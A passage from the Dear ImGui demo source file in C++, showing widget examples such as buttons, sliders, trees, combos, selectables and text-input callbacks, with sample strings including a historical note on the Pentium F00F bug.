for (int i = 0; i < 7; i++)
{
if (i > 0)
ImGui::SameLine();
ImGui::PushID(i);
ImGui::PushStyleColor(ImGuiCol_Button, (ImVec4)ImColor::HSV(i / 7.0f, 0.6f, 0.6f));
ImGui::PushStyleColor(ImGuiCol_ButtonHovered, (ImVec4)ImColor::HSV(i / 7.0f, 0.7f, 0.7f));
ImGui::PushStyleColor(ImGuiCol_ButtonActive, (ImVec4)ImColor::HSV(i / 7.0f, 0.8f, 0.8f));
ImGui::Button("Click");
ImGui::PopStyleColor(3);
ImGui::PopID();
}
// Use AlignTextToFramePadding() to align text baseline to the baseline of framed widgets elements
// (otherwise a Text+SameLine+Button sequence will have the text a little too high by default!)
// See 'Demo->Layout->Text Baseline Alignment' for details.
ImGui::AlignTextToFramePadding();
ImGui::Text("Hold to repeat:");
ImGui::SameLine();
// Arrow buttons with Repeater
static int counter = 0;
float spacing = ImGui::GetStyle().ItemInnerSpacing.x;
ImGui::PushButtonRepeat(true);
if (ImGui::ArrowButton("##left", ImGuiDir_Left)) { counter--; }
ImGui::SameLine(0.0f, spacing);
if (ImGui::ArrowButton("##right", ImGuiDir_Right)) { counter++; }
ImGui::PopButtonRepeat();
ImGui::SameLine();
ImGui::Text("%d", counter);
ImGui::Text("Hover over me");
if (ImGui::IsItemHovered())
ImGui::SetTooltip("I am a tooltip");
ImGui::SameLine();
ImGui::Text("- or me");
if (ImGui::IsItemHovered())
{
ImGui::BeginTooltip();
ImGui::Text("I am a fancy tooltip");
static float arr[] = { 0.6f, 0.1f, 1.0f, 0.5f, 0.92f, 0.1f, 0.2f };
ImGui::PlotLines("Curve", arr, IM_ARRAYSIZE(arr));
ImGui::EndTooltip();
}
ImGui::Separator();
ImGui::LabelText("label", "Value");
{
// Using the _simplified_ one-liner Combo() api here
// See "Combo" section for examples of how to use the more complete BeginCombo()/EndCombo() api.
const char* items[] = { "AAAA", "BBBB", "CCCC", "DDDD", "EEEE", "FFFF", "GGGG", "HHHH", "IIIIIII", "JJJJ", "KKKKKKK" };
static int item_current = 0;
ImGui::Combo("combo", &item_current, items, IM_ARRAYSIZE(items));
ImGui::SameLine(); HelpMarker(
"Refer to the \"Combo\" section below for an explanation of the full BeginCombo/EndCombo API, "
"and demonstration of various flags.\n");
}
{
// To wire InputText() with std::string or any other custom string type,
// see the "Text Input > Resize Callback" section of this demo, and the misc/cpp/imgui_stdlib.h file.
static char str0[128] = "Hello, world!";
ImGui::InputText("input text", str0, IM_ARRAYSIZE(str0));
ImGui::SameLine(); HelpMarker(
"USER:\n"
"Hold SHIFT or use mouse to select text.\n"
"CTRL+Left/Right to word jump.\n"
"CTRL+A or double-click to select all.\n"
"CTRL+X,CTRL+C,CTRL+V clipboard.\n"
"CTRL+Z,CTRL+Y undo/redo.\n"
"ESCAPE to revert.\n\n"
"PROGRAMMER:\n"
"You can use the ImGuiInputTextFlags_CallbackResize facility if you need to wire InputText() "
"to a dynamic string type. See misc/cpp/imgui_stdlib.h for an example (this is not demonstrated "
"in imgui_demo.cpp).");
static char str1[128] = "";
ImGui::InputTextWithHint("input text (w/ hint)", "enter text here", str1, IM_ARRAYSIZE(str1));
static int i0 = 123;
ImGui::InputInt("input int", &i0);
ImGui::SameLine(); HelpMarker(
"You can apply arithmetic operators +,*,/ on numerical values.\n"
" e.g. [ 100 ], input \'*2\', result becomes [ 200 ]\n"
"Use +- to subtract.");
static float f0 = 0.001f;
ImGui::InputFloat("input float", &f0, 0.01f, 1.0f, "%.3f");
static double d0 = 999999.00000001;
ImGui::InputDouble("input double", &d0, 0.01f, 1.0f, "%.8f");
static float f1 = 1.e10f;
ImGui::InputFloat("input scientific", &f1, 0.0f, 0.0f, "%e");
ImGui::SameLine(); HelpMarker(
"You can input value using the scientific notation,\n"
" e.g. \"1e+8\" becomes \"100000000\".");
static float vec4a[4] = { 0.10f, 0.20f, 0.30f, 0.44f };
ImGui::InputFloat3("input float3", vec4a);
}
{
static int i1 = 50, i2 = 42;
ImGui::DragInt("drag int", &i1, 1);
ImGui::SameLine(); HelpMarker(
"Click and drag to edit value.\n"
"Hold SHIFT/ALT for faster/slower edit.\n"
"Double-click or CTRL+click to input value.");
ImGui::DragInt("drag int 0..100", &i2, 1, 0, 100, "%d%%", ImGuiSliderFlags_AlwaysClamp);
static float f1 = 1.00f, f2 = 0.0067f;
ImGui::DragFloat("drag float", &f1, 0.005f);
ImGui::DragFloat("drag small float", &f2, 0.0001f, 0.0f, 0.0f, "%.06f ns");
}
{
static int i1 = 0;
ImGui::SliderInt("slider int", &i1, -1, 3);
ImGui::SameLine(); HelpMarker("CTRL+click to input value.");
static float f1 = 0.123f, f2 = 0.0f;
ImGui::SliderFloat("slider float", &f1, 0.0f, 1.0f, "ratio = %.3f");
ImGui::SliderFloat("slider float (log)", &f2, -10.0f, 10.0f, "%.4f", ImGuiSliderFlags_Logarithmic);
static float angle = 0.0f;
ImGui::SliderAngle("slider angle", &angle);
// Using the format string to display a name instead of an integer.
// Here we completely omit '%d' from the format string, so it'll only display a name.
// This technique can also be used with DragInt().
enum Element { Element_Fire, Element_Earth, Element_Air, Element_Water, Element_COUNT };
static int elem = Element_Fire;
const char* elems_names[Element_COUNT] = { "Fire", "Earth", "Air", "Water" };
const char* elem_name = (elem >= 0 && elem < Element_COUNT) ? elems_names[elem] : "Unknown";
ImGui::SliderInt("slider enum", &elem, 0, Element_COUNT - 1, elem_name);
ImGui::SameLine(); HelpMarker("Using the format string parameter to display a name instead of the underlying integer.");
}
{
static float col1[3] = { 1.0f, 0.0f, 0.2f };
static float col2[4] = { 0.4f, 0.7f, 0.0f, 0.5f };
ImGui::ColorEdit3("color 1", col1);
ImGui::SameLine(); HelpMarker(
"Click on the colored square to open a color picker.\n"
"Click and hold to use drag and drop.\n"
"Right-click on the colored square to show options.\n"
"CTRL+click on individual component to input value.\n");
ImGui::ColorEdit4("color 2", col2);
}
{
// List box
const char* items[] = { "Apple", "Banana", "Cherry", "Kiwi", "Mango", "Orange", "Pineapple", "Strawberry", "Watermelon" };
static int item_current = 1;
ImGui::ListBox("listbox\n(single select)", &item_current, items, IM_ARRAYSIZE(items), 4);
//static int listbox_item_current2 = 2;
//ImGui::SetNextItemWidth(-1);
//ImGui::ListBox("##listbox2", &listbox_item_current2, listbox_items, IM_ARRAYSIZE(listbox_items), 4);
}
ImGui::TreePop();
}
// Testing ImGuiOnceUponAFrame helper.
//static ImGuiOnceUponAFrame once;
//for (int i = 0; i < 5; i++)
// if (once)
// ImGui::Text("This will be displayed only once.");
if (ImGui::TreeNode("Trees"))
{
if (ImGui::TreeNode("Basic trees"))
{
for (int i = 0; i < 5; i++)
{
// Use SetNextItemOpen() so set the default state of a node to be open. We could
// also use TreeNodeEx() with the ImGuiTreeNodeFlags_DefaultOpen flag to achieve the same thing!
if (i == 0)
ImGui::SetNextItemOpen(true, ImGuiCond_Once);
if (ImGui::TreeNode((void*)(intptr_t)i, "Child %d", i))
{
ImGui::Text("blah blah");
ImGui::SameLine();
if (ImGui::SmallButton("button")) {}
ImGui::TreePop();
}
}
ImGui::TreePop();
}
if (ImGui::TreeNode("Advanced, with Selectable nodes"))
{
HelpMarker(
"This is a more typical looking tree with selectable nodes.\n"
"Click to select, CTRL+Click to toggle, click on arrows or double-click to open.");
static ImGuiTreeNodeFlags base_flags = ImGuiTreeNodeFlags_OpenOnArrow | ImGuiTreeNodeFlags_OpenOnDoubleClick | ImGuiTreeNodeFlags_SpanAvailWidth;
static bool align_label_with_current_x_position = false;
static bool test_drag_and_drop = false;
ImGui::CheckboxFlags("ImGuiTreeNodeFlags_OpenOnArrow", (unsigned int*)&base_flags, ImGuiTreeNodeFlags_OpenOnArrow);
ImGui::CheckboxFlags("ImGuiTreeNodeFlags_OpenOnDoubleClick", (unsigned int*)&base_flags, ImGuiTreeNodeFlags_OpenOnDoubleClick);
ImGui::CheckboxFlags("ImGuiTreeNodeFlags_SpanAvailWidth", (unsigned int*)&base_flags, ImGuiTreeNodeFlags_SpanAvailWidth); ImGui::SameLine(); HelpMarker("Extend hit area to all available width instead of allowing more items to be laid out after the node.");
ImGui::CheckboxFlags("ImGuiTreeNodeFlags_SpanFullWidth", (unsigned int*)&base_flags, ImGuiTreeNodeFlags_SpanFullWidth);
ImGui::Checkbox("Align label with current X position", &align_label_with_current_x_position);
ImGui::Checkbox("Test tree node as drag source", &test_drag_and_drop);
ImGui::Text("Hello!");
if (align_label_with_current_x_position)
ImGui::Unindent(ImGui::GetTreeNodeToLabelSpacing());
// 'selection_mask' is dumb representation of what may be user-side selection state.
// You may retain selection state inside or outside your objects in whatever format you see fit.
// 'node_clicked' is temporary storage of what node we have clicked to process selection at the end
/// of the loop. May be a pointer to your own node type, etc.
static int selection_mask = (1 << 2);
int node_clicked = -1;
for (int i = 0; i < 6; i++)
{
// Disable the default "open on single-click behavior" + set Selected flag according to our selection.
ImGuiTreeNodeFlags node_flags = base_flags;
const bool is_selected = (selection_mask & (1 << i)) != 0;
if (is_selected)
node_flags |= ImGuiTreeNodeFlags_Selected;
if (i < 3)
{
// Items 0..2 are Tree Node
bool node_open = ImGui::TreeNodeEx((void*)(intptr_t)i, node_flags, "Selectable Node %d", i);
if (ImGui::IsItemClicked())
node_clicked = i;
if (test_drag_and_drop && ImGui::BeginDragDropSource())
{
ImGui::SetDragDropPayload("_TREENODE", NULL, 0);
ImGui::Text("This is a drag and drop source");
ImGui::EndDragDropSource();
}
if (node_open)
{
ImGui::BulletText("Blah blah\nBlah Blah");
ImGui::TreePop();
}
}
else
{
// Items 3..5 are Tree Leaves
// The only reason we use TreeNode at all is to allow selection of the leaf. Otherwise we can
// use BulletText() or advance the cursor by GetTreeNodeToLabelSpacing() and call Text().
node_flags |= ImGuiTreeNodeFlags_Leaf | ImGuiTreeNodeFlags_NoTreePushOnOpen; // ImGuiTreeNodeFlags_Bullet
ImGui::TreeNodeEx((void*)(intptr_t)i, node_flags, "Selectable Leaf %d", i);
if (ImGui::IsItemClicked())
node_clicked = i;
if (test_drag_and_drop && ImGui::BeginDragDropSource())
{
ImGui::SetDragDropPayload("_TREENODE", NULL, 0);
ImGui::Text("This is a drag and drop source");
ImGui::EndDragDropSource();
}
}
}
if (node_clicked != -1)
{
// Update selection state
// (process outside of tree loop to avoid visual inconsistencies during the clicking frame)
if (ImGui::GetIO().KeyCtrl)
selection_mask ^= (1 << node_clicked); // CTRL+click to toggle
else //if (!(selection_mask & (1 << node_clicked))) // Depending on selection behavior you want, may want to preserve selection when clicking on item that is part of the selection
selection_mask = (1 << node_clicked); // Click to single-select
}
if (align_label_with_current_x_position)
ImGui::Indent(ImGui::GetTreeNodeToLabelSpacing());
ImGui::TreePop();
}
ImGui::TreePop();
}
if (ImGui::TreeNode("Collapsing Headers"))
{
static bool closable_group = true;
ImGui::Checkbox("Show 2nd header", &closable_group);
if (ImGui::CollapsingHeader("Header", ImGuiTreeNodeFlags_None))
{
ImGui::Text("IsItemHovered: %d", ImGui::IsItemHovered());
for (int i = 0; i < 5; i++)
ImGui::Text("Some content %d", i);
}
if (ImGui::CollapsingHeader("Header with a close button", &closable_group))
{
ImGui::Text("IsItemHovered: %d", ImGui::IsItemHovered());
for (int i = 0; i < 5; i++)
ImGui::Text("More content %d", i);
}
/*
if (ImGui::CollapsingHeader("Header with a bullet", ImGuiTreeNodeFlags_Bullet))
ImGui::Text("IsItemHovered: %d", ImGui::IsItemHovered());
*/
ImGui::TreePop();
}
if (ImGui::TreeNode("Bullets"))
{
ImGui::BulletText("Bullet point 1");
ImGui::BulletText("Bullet point 2\nOn multiple lines");
if (ImGui::TreeNode("Tree node"))
{
ImGui::BulletText("Another bullet point");
ImGui::TreePop();
}
ImGui::Bullet(); ImGui::Text("Bullet point 3 (two calls)");
ImGui::Bullet(); ImGui::SmallButton("Button");
ImGui::TreePop();
}
if (ImGui::TreeNode("Text"))
{
if (ImGui::TreeNode("Colored Text"))
{
// Using shortcut. You can use PushStyleColor()/PopStyleColor() for more flexibility.
ImGui::TextColored(ImVec4(1.0f, 0.0f, 1.0f, 1.0f), "Pink");
ImGui::TextColored(ImVec4(1.0f, 1.0f, 0.0f, 1.0f), "Yellow");
ImGui::TextDisabled("Disabled");
ImGui::SameLine(); HelpMarker("The TextDisabled color is stored in ImGuiStyle.");
ImGui::TreePop();
}
if (ImGui::TreeNode("Word Wrapping"))
{
// Using shortcut. You can use PushTextWrapPos()/PopTextWrapPos() for more flexibility.
ImGui::TextWrapped(
"This text should automatically wrap on the edge of the window. The current implementation "
"for text wrapping follows simple rules suitable for English and possibly other languages.");
ImGui::Spacing();
static float wrap_width = 200.0f;
ImGui::SliderFloat("Wrap width", &wrap_width, -20, 600, "%.0f");
ImDrawList* draw_list = ImGui::GetWindowDrawList();
for (int n = 0; n < 2; n++)
{
ImGui::Text("Test paragraph %d:", n);
ImVec2 pos = ImGui::GetCursorScreenPos();
ImVec2 marker_min = ImVec2(pos.x + wrap_width, pos.y);
ImVec2 marker_max = ImVec2(pos.x + wrap_width + 10, pos.y + ImGui::GetTextLineHeight());
ImGui::PushTextWrapPos(ImGui::GetCursorPos().x + wrap_width);
if (n == 0)
ImGui::Text("The lazy dog is a good dog. This paragraph should fit within %.0f pixels. Testing a 1 character word. The quick brown fox jumps over the lazy dog.", wrap_width);
else
ImGui::Text("aaaaaaaa bbbbbbbb, c cccccccc,dddddddd. d eeeeeeee ffffffff. gggggggg!hhhhhhhh");
// Draw actual text bounding box, following by marker of our expected limit (should not overlap!)
draw_list->AddRect(ImGui::GetItemRectMin(), ImGui::GetItemRectMax(), IM_COL32(255, 255, 0, 255));
draw_list->AddRectFilled(marker_min, marker_max, IM_COL32(255, 0, 255, 255));
ImGui::PopTextWrapPos();
}
ImGui::TreePop();
}
if (ImGui::TreeNode("UTF-8 Text"))
{
// UTF-8 test with Japanese characters
// (Needs a suitable font? Try "Google Noto" or "Arial Unicode". See docs/FONTS.md for details.)
// - From C++11 you can use the u8"my text" syntax to encode literal strings as UTF-8
// - For earlier compiler, you may be able to encode your sources as UTF-8 (e.g. in Visual Studio, you
// can save your source files as 'UTF-8 without signature').
// - FOR THIS DEMO FILE ONLY, BECAUSE WE WANT TO SUPPORT OLD COMPILERS, WE ARE *NOT* INCLUDING RAW UTF-8
// CHARACTERS IN THIS SOURCE FILE. Instead we are encoding a few strings with hexadecimal constants.
// Don't do this in your application! Please use u8"text in any language" in your application!
// Note that characters values are preserved even by InputText() if the font cannot be displayed,
// so you can safely copy & paste garbled characters into another application.
ImGui::TextWrapped(
"CJK text will only appears if the font was loaded with the appropriate CJK character ranges. "
"Call io.Font->AddFontFromFileTTF() manually to load extra character ranges. "
"Read docs/FONTS.md for details.");
ImGui::Text("Hiragana: \xe3\x81\x8b\xe3\x81\x8d\xe3\x81\x8f\xe3\x81\x91\xe3\x81\x93 (kakikukeko)"); // Normally we would use u8"blah blah" with the proper characters directly in the string.
ImGui::Text("Kanjis: \xe6\x97\xa5\xe6\x9c\xac\xe8\xaa\x9e (nihongo)");
static char buf[32] = "\xe6\x97\xa5\xe6\x9c\xac\xe8\xaa\x9e";
//static char buf[32] = u8"NIHONGO"; // <- this is how you would write it with C++11, using real kanjis
ImGui::InputText("UTF-8 input", buf, IM_ARRAYSIZE(buf));
ImGui::TreePop();
}
ImGui::TreePop();
}
if (ImGui::TreeNode("Images"))
{
ImGuiIO& io = ImGui::GetIO();
ImGui::TextWrapped(
"Below we are displaying the font texture (which is the only texture we have access to in this demo). "
"Use the 'ImTextureID' type as storage to pass pointers or identifier to your own texture data. "
"Hover the texture for a zoomed view!");
// Below we are displaying the font texture because it is the only texture we have access to inside the demo!
// Remember that ImTextureID is just storage for whatever you want it to be. It is essentially a value that
// will be passed to the rendering back-end via the ImDrawCmd structure.
// If you use one of the default imgui_impl_XXXX.cpp rendering back-end, they all have comments at the top
// of their respective source file to specify what they expect to be stored in ImTextureID, for example:
// - The imgui_impl_dx11.cpp renderer expect a 'ID3D11ShaderResourceView*' pointer
// - The imgui_impl_opengl3.cpp renderer expect a GLuint OpenGL texture identifier, etc.
// More:
// - If you decided that ImTextureID = MyEngineTexture*, then you can pass your MyEngineTexture* pointers
// to ImGui::Image(), and gather width/height through your own functions, etc.
// - You can use ShowMetricsWindow() to inspect the draw data that are being passed to your renderer,
// it will help you debug issues if you are confused about it.
// - Consider using the lower-level ImDrawList::AddImage() API, via ImGui::GetWindowDrawList()->AddImage().
// - Read https://github.com/ocornut/imgui/blob/master/docs/FAQ.md
// - Read https://github.com/ocornut/imgui/wiki/Image-Loading-and-Displaying-Examples
ImTextureID my_tex_id = io.Fonts->TexID;
float my_tex_w = (float)io.Fonts->TexWidth;
float my_tex_h = (float)io.Fonts->TexHeight;
{
ImGui::Text("%.0fx%.0f", my_tex_w, my_tex_h);
ImVec2 pos = ImGui::GetCursorScreenPos();
ImVec2 uv_min = ImVec2(0.0f, 0.0f); // Top-left
ImVec2 uv_max = ImVec2(1.0f, 1.0f); // Lower-right
ImVec4 tint_col = ImVec4(1.0f, 1.0f, 1.0f, 1.0f); // No tint
ImVec4 border_col = ImVec4(1.0f, 1.0f, 1.0f, 0.5f); // 50% opaque white
ImGui::Image(my_tex_id, ImVec2(my_tex_w, my_tex_h), uv_min, uv_max, tint_col, border_col);
if (ImGui::IsItemHovered())
{
ImGui::BeginTooltip();
float region_sz = 32.0f;
float region_x = io.MousePos.x - pos.x - region_sz * 0.5f;
float region_y = io.MousePos.y - pos.y - region_sz * 0.5f;
float zoom = 4.0f;
if (region_x < 0.0f) { region_x = 0.0f; }
else if (region_x > my_tex_w - region_sz) { region_x = my_tex_w - region_sz; }
if (region_y < 0.0f) { region_y = 0.0f; }
else if (region_y > my_tex_h - region_sz) { region_y = my_tex_h - region_sz; }
ImGui::Text("Min: (%.2f, %.2f)", region_x, region_y);
ImGui::Text("Max: (%.2f, %.2f)", region_x + region_sz, region_y + region_sz);
ImVec2 uv0 = ImVec2((region_x) / my_tex_w, (region_y) / my_tex_h);
ImVec2 uv1 = ImVec2((region_x + region_sz) / my_tex_w, (region_y + region_sz) / my_tex_h);
ImGui::Image(my_tex_id, ImVec2(region_sz * zoom, region_sz * zoom), uv0, uv1, tint_col, border_col);
ImGui::EndTooltip();
}
}
ImGui::TextWrapped("And now some textured buttons..");
static int pressed_count = 0;
for (int i = 0; i < 8; i++)
{
ImGui::PushID(i);
int frame_padding = -1 + i; // -1 == uses default padding (style.FramePadding)
ImVec2 size = ImVec2(32.0f, 32.0f); // Size of the image we want to make visible
ImVec2 uv0 = ImVec2(0.0f, 0.0f); // UV coordinates for lower-left
ImVec2 uv1 = ImVec2(32.0f / my_tex_w, 32.0f / my_tex_h);// UV coordinates for (32,32) in our texture
ImVec4 bg_col = ImVec4(0.0f, 0.0f, 0.0f, 1.0f); // Black background
ImVec4 tint_col = ImVec4(1.0f, 1.0f, 1.0f, 1.0f); // No tint
if (ImGui::ImageButton(my_tex_id, size, uv0, uv1, frame_padding, bg_col, tint_col))
pressed_count += 1;
ImGui::PopID();
ImGui::SameLine();
}
ImGui::NewLine();
ImGui::Text("Pressed %d times.", pressed_count);
ImGui::TreePop();
}
if (ImGui::TreeNode("Combo"))
{
// Expose flags as checkbox for the demo
static ImGuiComboFlags flags = 0;
ImGui::CheckboxFlags("ImGuiComboFlags_PopupAlignLeft", (unsigned int*)&flags, ImGuiComboFlags_PopupAlignLeft);
ImGui::SameLine(); HelpMarker("Only makes a difference if the popup is larger than the combo");
if (ImGui::CheckboxFlags("ImGuiComboFlags_NoArrowButton", (unsigned int*)&flags, ImGuiComboFlags_NoArrowButton))
flags &= ~ImGuiComboFlags_NoPreview; // Clear the other flag, as we cannot combine both
if (ImGui::CheckboxFlags("ImGuiComboFlags_NoPreview", (unsigned int*)&flags, ImGuiComboFlags_NoPreview))
flags &= ~ImGuiComboFlags_NoArrowButton; // Clear the other flag, as we cannot combine both
// Using the generic BeginCombo() API, you have full control over how to display the combo contents.
// (your selection data could be an index, a pointer to the object, an id for the object, a flag intrusively
// stored in the object itself, etc.)
const char* items[] = { "AAAA", "BBBB", "CCCC", "DDDD", "EEEE", "FFFF", "GGGG", "HHHH", "IIII", "JJJJ", "KKKK", "LLLLLLL", "MMMM", "OOOOOOO" };
static int item_current_idx = 0; // Here our selection data is an index.
const char* combo_label = items[item_current_idx]; // Label to preview before opening the combo (technically it could be anything)
if (ImGui::BeginCombo("combo 1", combo_label, flags))
{
for (int n = 0; n < IM_ARRAYSIZE(items); n++)
{
const bool is_selected = (item_current_idx == n);
if (ImGui::Selectable(items[n], is_selected))
item_current_idx = n;
// Set the initial focus when opening the combo (scrolling + keyboard navigation focus)
if (is_selected)
ImGui::SetItemDefaultFocus();
}
ImGui::EndCombo();
}
// Simplified one-liner Combo() API, using values packed in a single constant string
static int item_current_2 = 0;
ImGui::Combo("combo 2 (one-liner)", &item_current_2, "aaaa\0bbbb\0cccc\0dddd\0eeee\0\0");
// Simplified one-liner Combo() using an array of const char*
static int item_current_3 = -1; // If the selection isn't within 0..count, Combo won't display a preview
ImGui::Combo("combo 3 (array)", &item_current_3, items, IM_ARRAYSIZE(items));
// Simplified one-liner Combo() using an accessor function
struct Funcs { static bool ItemGetter(void* data, int n, const char** out_str) { *out_str = ((const char**)data)[n]; return true; } };
static int item_current_4 = 0;
ImGui::Combo("combo 4 (function)", &item_current_4, &Funcs::ItemGetter, items, IM_ARRAYSIZE(items));
ImGui::TreePop();
}
if (ImGui::TreeNode("Selectables"))
{
// Selectable() has 2 overloads:
// - The one taking "bool selected" as a read-only selection information.
// When Selectable() has been clicked it returns true and you can alter selection state accordingly.
// - The one taking "bool* p_selected" as a read-write selection information (convenient in some cases)
// The earlier is more flexible, as in real application your selection may be stored in many different ways
// and not necessarily inside a bool value (e.g. in flags within objects, as an external list, etc).
if (ImGui::TreeNode("Basic"))
{
static bool selection[5] = { false, true, false, false, false };
ImGui::Selectable("1. I am selectable", &selection[0]);
ImGui::Selectable("2. I am selectable", &selection[1]);
ImGui::Text("3. I am not selectable");
ImGui::Selectable("4. I am selectable", &selection[3]);
if (ImGui::Selectable("5. I am double clickable", selection[4], ImGuiSelectableFlags_AllowDoubleClick))
if (ImGui::IsMouseDoubleClicked(0))
selection[4] = !selection[4];
ImGui::TreePop();
}
if (ImGui::TreeNode("Selection State: Single Selection"))
{
static int selected = -1;
for (int n = 0; n < 5; n++)
{
char buf[32];
sprintf(buf, "Object %d", n);
if (ImGui::Selectable(buf, selected == n))
selected = n;
}
ImGui::TreePop();
}
if (ImGui::TreeNode("Selection State: Multiple Selection"))
{
HelpMarker("Hold CTRL and click to select multiple items.");
static bool selection[5] = { false, false, false, false, false };
for (int n = 0; n < 5; n++)
{
char buf[32];
sprintf(buf, "Object %d", n);
if (ImGui::Selectable(buf, selection[n]))
{
if (!ImGui::GetIO().KeyCtrl) // Clear selection when CTRL is not held
memset(selection, 0, sizeof(selection));
selection[n] ^= 1;
}
}
ImGui::TreePop();
}
if (ImGui::TreeNode("Rendering more text into the same line"))
{
// Using the Selectable() override that takes "bool* p_selected" parameter,
// this function toggle your bool value automatically.
static bool selected[3] = { false, false, false };
ImGui::Selectable("main.c", &selected[0]); ImGui::SameLine(300); ImGui::Text(" 2,345 bytes");
ImGui::Selectable("Hello.cpp", &selected[1]); ImGui::SameLine(300); ImGui::Text("12,345 bytes");
ImGui::Selectable("Hello.h", &selected[2]); ImGui::SameLine(300); ImGui::Text(" 2,345 bytes");
ImGui::TreePop();
}
if (ImGui::TreeNode("In columns"))
{
ImGui::Columns(3, NULL, false);
static bool selected[16] = {};
for (int i = 0; i < 16; i++)
{
char label[32]; sprintf(label, "Item %d", i);
if (ImGui::Selectable(label, &selected[i])) {}
ImGui::NextColumn();
}
ImGui::Columns(1);
ImGui::TreePop();
}
if (ImGui::TreeNode("Grid"))
{
static int selected[4 * 4] = { 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1 };
for (int i = 0; i < 4 * 4; i++)
{
ImGui::PushID(i);
if (ImGui::Selectable("Sailor", selected[i] != 0, 0, ImVec2(50, 50)))
{
// Toggle
selected[i] = !selected[i];
// Note: We _unnecessarily_ test for both x/y and i here only to silence some static analyzer.
// The second part of each test is unnecessary.
int x = i % 4;
int y = i / 4;
if (x > 0) { selected[i - 1] ^= 1; }
if (x < 3 && i < 15) { selected[i + 1] ^= 1; }
if (y > 0 && i > 3) { selected[i - 4] ^= 1; }
if (y < 3 && i < 12) { selected[i + 4] ^= 1; }
}
if ((i % 4) < 3) ImGui::SameLine();
ImGui::PopID();
}
ImGui::TreePop();
}
if (ImGui::TreeNode("Alignment"))
{
HelpMarker(
"By default, Selectables uses style.SelectableTextAlign but it can be overridden on a per-item "
"basis using PushStyleVar(). You'll probably want to always keep your default situation to "
"left-align otherwise it becomes difficult to layout multiple items on a same line");
static bool selected[3 * 3] = { true, false, true, false, true, false, true, false, true };
for (int y = 0; y < 3; y++)
{
for (int x = 0; x < 3; x++)
{
ImVec2 alignment = ImVec2((float)x / 2.0f, (float)y / 2.0f);
char name[32];
sprintf(name, "(%.1f,%.1f)", alignment.x, alignment.y);
if (x > 0) ImGui::SameLine();
ImGui::PushStyleVar(ImGuiStyleVar_SelectableTextAlign, alignment);
ImGui::Selectable(name, &selected[3 * y + x], ImGuiSelectableFlags_None, ImVec2(80, 80));
ImGui::PopStyleVar();
}
}
ImGui::TreePop();
}
ImGui::TreePop();
}
// To wire InputText() with std::string or any other custom string type,
// see the "Text Input > Resize Callback" section of this demo, and the misc/cpp/imgui_stdlib.h file.
if (ImGui::TreeNode("Text Input"))
{
if (ImGui::TreeNode("Multi-line Text Input"))
{
// Note: we are using a fixed-sized buffer for simplicity here. See ImGuiInputTextFlags_CallbackResize
// and the code in misc/cpp/imgui_stdlib.h for how to setup InputText() for dynamically resizing strings.
static char text[1024 * 16] =
"/*\n"
" The Pentium F00F bug, shorthand for F0 0F C7 C8,\n"
" the hexadecimal encoding of one offending instruction,\n"
" more formally, the invalid operand with locked CMPXCHG8B\n"
" instruction bug, is a design flaw in the majority of\n"
" Intel Pentium, Pentium MMX, and Pentium OverDrive\n"
" processors (all in the P5 microarchitecture).\n"
"*/\n\n"
"label:\n"
"\tlock cmpxchg8b eax\n";
static ImGuiInputTextFlags flags = ImGuiInputTextFlags_AllowTabInput;
HelpMarker("You can use the ImGuiInputTextFlags_CallbackResize facility if you need to wire InputTextMultiline() to a dynamic string type. See misc/cpp/imgui_stdlib.h for an example. (This is not demonstrated in imgui_demo.cpp because we don't want to include <string> in here)");
ImGui::CheckboxFlags("ImGuiInputTextFlags_ReadOnly", (unsigned int*)&flags, ImGuiInputTextFlags_ReadOnly);
ImGui::CheckboxFlags("ImGuiInputTextFlags_AllowTabInput", (unsigned int*)&flags, ImGuiInputTextFlags_AllowTabInput);
ImGui::CheckboxFlags("ImGuiInputTextFlags_CtrlEnterForNewLine", (unsigned int*)&flags, ImGuiInputTextFlags_CtrlEnterForNewLine);
ImGui::InputTextMultiline("##source", text, IM_ARRAYSIZE(text), ImVec2(-FLT_MIN, ImGui::GetTextLineHeight() * 16), flags);
ImGui::TreePop();
}
if (ImGui::TreeNode("Filtered Text Input"))
{
struct TextFilters
{
// Return 0 (pass) if the character is 'i' or 'm' or 'g' or 'u' or 'i'
static int FilterImGuiLetters(ImGuiInputTextCallbackData* data)
{
if (data->EventChar < 256 && strchr("imgui", (char)data->EventChar))
return 0;
return 1;
}
};
static char buf1[64] = ""; ImGui::InputText("default", buf1, 64);
static char buf2[64] = ""; ImGui::InputText("decimal", buf2, 64, ImGuiInputTextFlags_CharsDecimal);
static char buf3[64] = ""; ImGui::InputText("hexadecimal", buf3, 64, ImGuiInputTextFlags_CharsHexadecimal | ImGuiInputTextFlags_CharsUppercase);
static char buf4[64] = ""; ImGui::InputText("uppercase", buf4, 64, ImGuiInputTextFlags_CharsUppercase);
static char buf5[64] = ""; ImGui::InputText("no blank", buf5, 64, ImGuiInputTextFlags_CharsNoBlank);
static char buf6[64] = ""; ImGui::InputText("\"imgui\" letters", buf6, 64, ImGuiInputTextFlags_CallbackCharFilter, TextFilters::FilterImGuiLetters);
ImGui::TreePop();
}
if (ImGui::TreeNode("Password Input"))
{
static char password[64] = "password123";
ImGui::InputText("password", password, IM_ARRAYSIZE(password), ImGuiInputTextFlags_Password);
ImGui::SameLine(); HelpMarker("Display all characters as '*'.\nDisable clipboard cut and copy.\nDisable logging.\n");
ImGui::InputTextWithHint("password (w/ hint)", "<password>", password, IM_ARRAYSIZE(password), ImGuiInputTextFlags_Password);
ImGui::InputText("password (clear)", password, IM_ARRAYSIZE(password));
ImGui::TreePop();
}
if (ImGui::TreeNode("Completion, History, Edit Callbacks"))
{
struct Funcs
{
static int MyCallback(ImGuiInputTextCallbackData* data)
{
if (data->EventFlag == ImGuiInputTextFlags_CallbackCompletion)
{
data->InsertChars(data->CursorPos, "..");
}
else if (data->EventFlag == ImGuiInputTextFlags_CallbackHistory)
{
if (data->EventKey == ImGuiKey_UpArrow)
{
data->DeleteChars(0, data->BufTextLen);
data->InsertChars(0, "Pressed Up!");
data->SelectAll();
}
else if (data->EventKey == ImGuiKey_DownArrow)
{
data->DeleteChars(0, data->BufTextLen);
data->InsertChars(0, "Pressed Down!");
data->SelectAll();
}
}
else if (data->EventFlag == ImGuiInputTextFlags_CallbackEdit)
{
// Toggle casing of first character
char c = data->Buf[0];
if ((c >= 'a' && c <= 'z') || (c >= 'A' && c <= 'Z')) data->Buf[0] ^= 32;
data->BufDirty = true;
// Increment a counter
int* p_int = (int*)data->UserData;
*p_int = *p_int + 1;
}
return 0;
}
};
static char buf1[64];
